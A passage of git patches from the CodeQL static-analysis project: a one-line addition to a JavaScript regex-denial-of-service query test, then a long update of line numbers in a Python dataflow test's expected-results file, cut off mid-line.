0e91b5a9b56..a6648c0ed65 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js +++ b/javascript/ql/test/query-tests/Performance/ReDoS/polynomial-redos.js @@ -123,4 +123,6 @@ app.use(function(req, res) { result += replaced; result = result.replace(/^\s+|\s+$/g, ''); // NOT OK })(); + + tainted.match(/(https?:\/\/[^\s]+)/gm); // OK }); From bfc6660795ff928a8aaa45b2d18beeda1db24425 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Mon, 18 Jan 2021 15:00:06 +0100 Subject: [PATCH 0672/1241] Python: Remember to update test expectations --- .../dataflow/coverage/dataflow.expected | 1218 ++++++++--------- 1 file changed, 609 insertions(+), 609 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/dataflow.expected b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index c856b78a2f2..47b2c0a402a 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -44,35 +44,35 @@ edges | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:183:23:183:28 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:188:25:188:30 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:199:34:199:39 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:336:11:336:16 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:340:11:340:16 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:344:16:344:21 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:367:28:367:33 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:375:30:375:35 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:383:36:383:41 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:391:33:391:38 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:399:39:399:44 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:420:10:420:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:428:34:428:39 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:452:12:452:17 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:459:28:459:33 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:473:30:473:35 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:487:36:487:41 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:492:33:492:38 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:497:39:497:44 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:509:9:509:14 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:521:10:521:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:10:529:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:529:30:529:35 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:538:13:538:18 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:546:10:546:15 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:546:18:546:23 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:556:12:556:17 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:556:31:556:36 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:556:41:556:46 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:584:12:584:17 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:584:31:584:36 | ControlFlowNode for SOURCE | -| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:692:16:692:21 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:342:11:342:16 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:346:11:346:16 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:350:16:350:21 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:373:28:373:33 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:381:30:381:35 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:389:36:389:41 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:397:33:397:38 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:405:39:405:44 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:426:10:426:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:434:34:434:39 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:458:12:458:17 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:465:28:465:33 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:479:30:479:35 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:493:36:493:41 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:498:33:498:38 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:503:39:503:44 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:515:9:515:14 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:527:10:527:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:535:10:535:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:535:30:535:35 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:544:13:544:18 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:552:10:552:15 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:552:18:552:23 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:562:12:562:17 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:562:31:562:36 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:562:41:562:46 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:590:12:590:17 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:590:31:590:36 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:715:16:715:21 | ControlFlowNode for SOURCE | | test.py:20:1:20:6 | GSSA Variable SOURCE | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:20:1:20:6 | GSSA Variable SOURCE | | test.py:42:10:42:26 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:43:9:43:9 | ControlFlowNode for x [Tuple element at index 1] | @@ -162,243 +162,243 @@ edges | test.py:199:33:199:40 | ControlFlowNode for List [List element] | test.py:199:28:199:28 | SSA variable z | | test.py:199:34:199:39 | ControlFlowNode for SOURCE | test.py:199:33:199:40 | ControlFlowNode for List [List element] | | test.py:200:10:200:10 | ControlFlowNode for x [List element] | test.py:200:10:200:13 | ControlFlowNode for Subscript | -| test.py:336:11:336:16 | ControlFlowNode for SOURCE | test.py:336:11:336:17 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:336:11:336:17 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:336:10:336:21 | ControlFlowNode for Subscript | -| test.py:340:10:340:17 | ControlFlowNode for List [List element] | test.py:340:10:340:20 | ControlFlowNode for Subscript | -| test.py:340:11:340:16 | ControlFlowNode for SOURCE | test.py:340:10:340:17 | ControlFlowNode for List [List element] | -| test.py:344:10:344:22 | ControlFlowNode for Dict [Dictionary element at key s] | test.py:344:10:344:27 | ControlFlowNode for Subscript | -| test.py:344:16:344:21 | ControlFlowNode for SOURCE | test.py:344:10:344:22 | ControlFlowNode for Dict [Dictionary element at key s] | -| test.py:367:28:367:33 | ControlFlowNode for SOURCE | test.py:367:10:367:34 | ControlFlowNode for second() | -| test.py:375:30:375:35 | ControlFlowNode for SOURCE | test.py:375:10:375:36 | ControlFlowNode for second() | -| test.py:383:10:383:43 | KwUnpacked b | test.py:383:10:383:43 | ControlFlowNode for second() | -| test.py:383:30:383:42 | ControlFlowNode for Dict [Dictionary element at key b] | test.py:383:10:383:43 | KwUnpacked b | -| test.py:383:36:383:41 | ControlFlowNode for SOURCE | test.py:383:30:383:42 | ControlFlowNode for Dict [Dictionary element at key b] | -| test.py:391:10:391:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | test.py:391:10:391:39 | ControlFlowNode for f_extra_pos() | -| test.py:391:33:391:38 | ControlFlowNode for SOURCE | test.py:391:10:391:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | -| test.py:399:10:399:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | test.py:399:10:399:45 | ControlFlowNode for f_extra_keyword() | -| test.py:399:39:399:44 | ControlFlowNode for SOURCE | test.py:399:10:399:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | -| test.py:420:10:420:15 | ControlFlowNode for SOURCE | test.py:420:10:420:38 | ControlFlowNode for IfExp | -| test.py:428:34:428:39 | ControlFlowNode for SOURCE | test.py:428:10:428:39 | ControlFlowNode for IfExp | -| test.py:452:12:452:17 | ControlFlowNode for SOURCE | test.py:452:10:452:18 | ControlFlowNode for f() | -| test.py:459:28:459:33 | ControlFlowNode for SOURCE | test.py:459:10:459:34 | ControlFlowNode for second() | -| test.py:473:30:473:35 | ControlFlowNode for SOURCE | test.py:473:10:473:36 | ControlFlowNode for second() | -| test.py:487:10:487:43 | KwUnpacked b | test.py:487:10:487:43 | ControlFlowNode for second() | -| test.py:487:30:487:42 | ControlFlowNode for Dict [Dictionary element at key b] | test.py:487:10:487:43 | KwUnpacked b | -| test.py:487:36:487:41 | ControlFlowNode for SOURCE | test.py:487:30:487:42 | ControlFlowNode for Dict [Dictionary element at key b] | -| test.py:492:10:492:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | test.py:492:10:492:39 | ControlFlowNode for f_extra_pos() | -| test.py:492:33:492:38 | ControlFlowNode for SOURCE | test.py:492:10:492:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | -| test.py:497:10:497:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | test.py:497:10:497:45 | ControlFlowNode for f_extra_keyword() | -| test.py:497:39:497:44 | ControlFlowNode for SOURCE | test.py:497:10:497:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | -| test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:511:10:511:10 | ControlFlowNode for a | -| test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:516:10:516:10 | ControlFlowNode for b | -| test.py:521:10:521:15 | ControlFlowNode for SOURCE | test.py:521:10:521:26 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:521:10:521:26 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:522:5:522:8 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:522:5:522:5 | SSA variable a | test.py:523:10:523:10 | ControlFlowNode for a | -| test.py:522:5:522:8 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:522:5:522:5 | SSA variable a | -| test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:529:10:529:15 | ControlFlowNode for SOURCE | test.py:529:30:529:35 | ControlFlowNode for SOURCE | -| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:529:10:529:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:529:30:529:35 | ControlFlowNode for SOURCE | test.py:529:19:529:35 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:530:5:530:5 | SSA variable a | test.py:531:10:531:10 | ControlFlowNode for a | -| test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:530:5:530:5 | SSA variable a | -| test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | test.py:530:9:530:12 | IterableSequence [Tuple element at index 1] | -| test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:530:5:530:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:530:12:530:12 | SSA variable c | -| test.py:530:9:530:12 | IterableSequence [Tuple element at index 1] | test.py:530:9:530:12 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:530:12:530:12 | SSA variable c | test.py:533:10:533:10 | ControlFlowNode for c | -| test.py:538:9:538:33 | ControlFlowNode for List [List element, List element, List element, List element] | test.py:539:5:539:14 | IterableSequence [List element, List element, List element, List element] | -| test.py:538:10:538:21 | ControlFlowNode for List [List element, List element, List element] | test.py:538:9:538:33 | ControlFlowNode for List [List element, List element, List element, List element] | -| test.py:538:11:538:20 | ControlFlowNode for List [List element, List element] | test.py:538:10:538:21 | ControlFlowNode for List [List element, List element, List element] | -| test.py:538:12:538:19 | ControlFlowNode for List [List element] | test.py:538:11:538:20 | ControlFlowNode for List [List element, List element] | -| test.py:538:13:538:18 | ControlFlowNode for SOURCE | test.py:538:12:538:19 | ControlFlowNode for List [List element] | -| test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | test.py:539:5:539:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | -| test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | test.py:539:6:539:10 | IterableSequence [List element, List element] | -| test.py:539:5:539:11 | IterableElement [List element, List element] | test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | -| test.py:539:5:539:11 | IterableSequence [List element, List element, List element] | test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | -| test.py:539:5:539:11 | IterableSequence [List element, List element, List element] | test.py:539:5:539:11 | IterableElement [List element, List element] | -| test.py:539:5:539:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | test.py:539:5:539:11 | IterableSequence [List element, List element, List element] | -| test.py:539:5:539:14 | IterableElement [List element, List element, List element] | test.py:539:5:539:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | -| test.py:539:5:539:14 | IterableSequence [List element, List element, List element, List element] | test.py:539:5:539:14 | IterableElement [List element, List element, List element] | -| test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | test.py:539:5:539:11 | ControlFlowNode for List [List element, List element, List element] | -| test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | test.py:539:7:539:9 | IterableSequence [List element] | -| test.py:539:6:539:10 | IterableElement [List element] | test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | -| test.py:539:6:539:10 | IterableSequence [List element, List element] | test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | -| test.py:539:6:539:10 | IterableSequence [List element, List element] | test.py:539:6:539:10 | IterableElement [List element] | -| test.py:539:7:539:9 | ControlFlowNode for List [List element] | test.py:539:6:539:10 | ControlFlowNode for List [List element, List element] | -| test.py:539:7:539:9 | ControlFlowNode for List [List element] | test.py:539:8:539:8 | SSA variable a | -| test.py:539:7:539:9 | IterableElement | test.py:539:7:539:9 | ControlFlowNode for List [List element] | -| test.py:539:7:539:9 | IterableSequence [List element] | test.py:539:7:539:9 | ControlFlowNode for List [List element] | -| test.py:539:7:539:9 | IterableSequence [List element] | test.py:539:7:539:9 | IterableElement | -| test.py:539:8:539:8 | SSA variable a | test.py:540:10:540:10 | ControlFlowNode for a | -| test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:546:10:546:15 | ControlFlowNode for SOURCE | test.py:546:18:546:23 | ControlFlowNode for SOURCE | -| test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:546:18:546:23 | ControlFlowNode for SOURCE | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:547:5:547:5 | SSA variable a | test.py:548:10:548:10 | ControlFlowNode for a | -| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:5:547:5 | SSA variable a | -| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:547:8:547:9 | IterableElement | -| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:547:8:547:9 | IterableElement | -| test.py:547:8:547:9 | IterableElement | test.py:547:8:547:9 | SSA variable b [List element] | -| test.py:547:8:547:9 | SSA variable b [List element] | test.py:550:10:550:10 | ControlFlowNode for b [List element] | -| test.py:550:10:550:10 | ControlFlowNode for b [List element] | test.py:550:10:550:13 | ControlFlowNode for Subscript | -| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:559:6:559:23 | IterableSequence [List element, List element] | -| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | -| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:567:5:567:24 | IterableSequence [List element, List element] | -| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | test.py:575:6:575:23 | IterableSequence [List element, List element] | -| test.py:556:11:556:37 | ControlFlowNode for List [List element] | test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | -| test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:556:11:556:37 | ControlFlowNode for List [List element] | -| test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:556:31:556:36 | ControlFlowNode for SOURCE | -| test.py:556:12:556:17 | ControlFlowNode for SOURCE | test.py:556:41:556:46 | ControlFlowNode for SOURCE | -| test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:556:11:556:37 | ControlFlowNode for List [List element] | -| test.py:556:31:556:36 | ControlFlowNode for SOURCE | test.py:556:41:556:46 | ControlFlowNode for SOURCE | -| test.py:556:40:556:47 | ControlFlowNode for List [List element] | test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | -| test.py:556:41:556:46 | ControlFlowNode for SOURCE | test.py:556:40:556:47 | ControlFlowNode for List [List element] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:559:7:559:16 | IterableSequence [List element] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:559:7:559:16 | IterableSequence [Tuple element at index 0] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | test.py:559:7:559:16 | IterableSequence [Tuple element at index 1] | -| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:559:7:559:16 | IterableSequence [Tuple element at index 2] | -| test.py:559:6:559:23 | IterableElement [List element] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:559:6:559:23 | IterableSequence [List element, List element] | test.py:559:6:559:23 | IterableElement [List element] | -| test.py:559:7:559:8 | SSA variable a1 | test.py:560:10:560:11 | ControlFlowNode for a1 | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:559:7:559:8 | SSA variable a1 | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:559:11:559:12 | SSA variable a2 | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:559:15:559:16 | SSA variable a3 | -| test.py:559:7:559:16 | IterableElement | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:559:7:559:16 | IterableElement | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:559:7:559:16 | IterableElement | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:559:7:559:16 | IterableSequence [List element] | test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | -| test.py:559:7:559:16 | IterableSequence [List element] | test.py:559:7:559:16 | IterableElement | -| test.py:559:7:559:16 | IterableSequence [Tuple element at index 0] | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:559:7:559:16 | IterableSequence [Tuple element at index 1] | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:559:7:559:16 | IterableSequence [Tuple element at index 2] | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:559:11:559:12 | SSA variable a2 | test.py:561:12:561:13 | ControlFlowNode for a2 | -| test.py:559:15:559:16 | SSA variable a3 | test.py:562:10:562:11 | ControlFlowNode for a3 | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | test.py:567:7:567:16 | IterableSequence [List element] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:567:7:567:16 | IterableSequence [Tuple element at index 0] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 1] | test.py:567:7:567:16 | IterableSequence [Tuple element at index 1] | -| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:567:7:567:16 | IterableSequence [Tuple element at index 2] | -| test.py:567:5:567:24 | IterableElement [List element] | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | -| test.py:567:5:567:24 | IterableSequence [List element, List element] | test.py:567:5:567:24 | IterableElement [List element] | -| test.py:567:7:567:8 | SSA variable a1 | test.py:568:10:568:11 | ControlFlowNode for a1 | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:567:7:567:8 | SSA variable a1 | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 1] | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:567:11:567:12 | SSA variable a2 | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 2] | -| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:567:15:567:16 | SSA variable a3 | -| test.py:567:7:567:16 | IterableElement | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:567:7:567:16 | IterableElement | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:567:7:567:16 | IterableElement | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:567:7:567:16 | IterableSequence [List element] | test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | -| test.py:567:7:567:16 | IterableSequence [List element] | test.py:567:7:567:16 | IterableElement | -| test.py:567:7:567:16 | IterableSequence [Tuple element at index 0] | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:567:7:567:16 | IterableSequence [Tuple element at index 1] | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:567:7:567:16 | IterableSequence [Tuple element at index 2] | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:567:11:567:12 | SSA variable a2 | test.py:569:12:569:13 | ControlFlowNode for a2 | -| test.py:567:15:567:16 | SSA variable a3 | test.py:570:10:570:11 | ControlFlowNode for a3 | -| test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:7:575:8 | SSA variable a1 | -| test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:11:575:12 | SSA variable a2 | -| test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:15:575:16 | SSA variable a3 | -| test.py:575:6:575:17 | IterableElement | test.py:575:6:575:17 | ControlFlowNode for List [List element] | -| test.py:575:6:575:17 | IterableSequence [List element] | test.py:575:6:575:17 | ControlFlowNode for List [List element] | -| test.py:575:6:575:17 | IterableSequence [List element] | test.py:575:6:575:17 | IterableElement | -| test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:575:6:575:17 | IterableSequence [List element] | -| test.py:575:6:575:23 | IterableElement [List element] | test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:575:6:575:23 | IterableSequence [List element, List element] | test.py:575:6:575:23 | IterableElement [List element] | -| test.py:575:7:575:8 | SSA variable a1 | test.py:576:10:576:11 | ControlFlowNode for a1 | -| test.py:575:11:575:12 | SSA variable a2 | test.py:577:12:577:13 | ControlFlowNode for a2 | -| test.py:575:15:575:16 | SSA variable a3 | test.py:578:10:578:11 | ControlFlowNode for a3 | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | -| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:584:11:584:47 | ControlFlowNode for 